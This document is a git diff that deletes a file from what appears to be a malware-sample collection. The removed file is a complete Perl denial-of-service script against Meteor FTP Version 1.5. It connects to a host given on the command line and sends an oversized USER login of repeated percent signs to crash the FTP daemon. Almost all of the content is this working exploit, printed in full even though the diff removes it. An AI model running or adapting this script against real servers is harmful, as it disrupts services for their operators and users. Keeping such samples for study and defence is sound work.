diff --git a/Perl/DoS.Perl.Meteor.a b/Perl/DoS.Perl.Meteor.a deleted file mode 100644 index 9ef4fea1..00000000 --- a/Perl/DoS.Perl.Meteor.a +++ /dev/null @@ -1,31 +0,0 @@ -# -# meteordos.pl - Remote denial of service against Meteor FTP Version 1.5 -# -# A vulnerability has been identified in Meteor FTP Version 1.5, which -# allows malicious users to remotely crash the ftpd. By connecting to the -# ftpd and issuing USER followed by large amounts of data, the server -# crashes. For more info, go to : -# http://www.evicted.org/projects/writings/mftpadvisory.txt -# -# Usage : ./meteordos.pl -# -# Vulnerability & code by zerash -# Contact : zerash@evicted.org - -use Net::FTP; -$host = $ARGV[0]; - -if("$ARGV[0]" eq "") { - print("DoS against Meteor FTP Version 1.5 by zerash\@evicted.org\n"); - die("Usage : ./meteorftpdos \n"); -} else { - - print("Connecting to $host...\n"); - my $ftp = Net::FTP->new($host) or die "Couldn't connect to $host\n"; - print("Connected!\n"); - print("Attempting to exploit the ftpd..."); - $ftp->login('%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'); - $ftp->quit; - print("Success!\n"); -} -